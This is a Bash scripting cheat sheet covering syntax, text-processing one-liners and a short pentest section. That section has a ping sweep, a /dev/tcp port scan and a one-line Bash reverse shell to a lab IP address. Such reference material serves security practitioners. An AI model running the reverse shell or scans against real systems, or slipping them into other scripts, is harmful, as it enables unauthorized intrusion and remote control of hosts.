Bash Scripting Cheat Sheet
Bash scripting syntax and one-liners — variables, loops, conditionals, and text processing for automation and pentesting.
Overview
Bash is the glue of Linux automation: chaining tools, parsing output, and writing quick scripts during engagements. This sheet covers the syntax you forget (test operators, parameter expansion, loops) plus high-value one-liners for security work like host sweeps and log parsing.
Authorized testing only. Use scripting against systems you own or have explicit written permission to test.
Variables & expansion
Assign a variable
name="value" # no spaces around =Use it (quote to keep spaces/globs literal)
echo "${name}"Command substitution
files=$(ls *.txt)Use a default if var is unset/empty
echo "${var:-default}"Strip prefix/suffix with parameter expansion
echo "${path##*/}" # basename ${path%/*} # dirnameConditionals
File exists (-d dir, -e any, -r readable, -x executable)
if [ -f /etc/passwd ]; then echo yes; fiString equality (use = inside [ ])
if [ "$a" = "$b" ]; then ...; fiNumeric compare (-eq -ne -lt -le -gt -ge)
if [ "$n" -gt 10 ]; then ...; fiPattern match with [[ ]]
[[ "$str" == *substr* ]] && echo matchRun on success / failure
cmd && echo ok || echo failedLoops
Range loop
for i in {1..10}; do echo $i; doneIterate file lines (simple)
for ip in $(cat hosts.txt); do ping -c1 $ip; doneLine-by-line (handles spaces correctly)
while read -r line; do echo "$line"; done < file.txtLoop over files safely with globbing
for f in *.pcap; do tshark -r "$f" -q -z conv,tcp; doneFunctions & arguments
Define and call a function ($1 = first arg)
greet(){ echo "hi $1"; }; greet worldScript/function argument variables
echo "$#" # arg count "$@" # all argsSafer scripts: exit on error, unset var, pipe failure
set -euo pipefailText processing one-liners
Print the 2nd column of a CSV
awk -F, '{print $2}' file.csvSort and count unique values
sort file.txt | uniq -c | sort -rnReplace text in place
sed -i 's/old/new/g' file.txtExtract all IPs from a file
grep -oE '([0-9]{1,3}\.){3}[0-9]{1,3}' file.txt | sort -uExtract all emails
grep -oE '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}' file.txt | sort -uPentest one-liners
Ping sweep a /24 in parallel
for i in {1..254}; do (ping -c1 -W1 10.10.10.$i >/dev/null && echo "10.10.10.$i up" &); done; waitBash TCP port scan (no nmap)
for p in {1..1024}; do (echo >/dev/tcp/10.10.10.5/$p) 2>/dev/null && echo "$p open"; doneBash reverse shell
bash -i >& /dev/tcp/10.10.14.5/443 0>&1Serve the current dir over HTTP
python3 -m http.server 8000Tips
- Always quote "$variables" to avoid word-splitting and glob surprises.
- Use 'while read -r' over 'for line in $(cat)' for files with spaces.
- set -euo pipefail at the top of scripts catches errors early.
- shellcheck your scripts — it flags the subtle quoting bugs that bite later.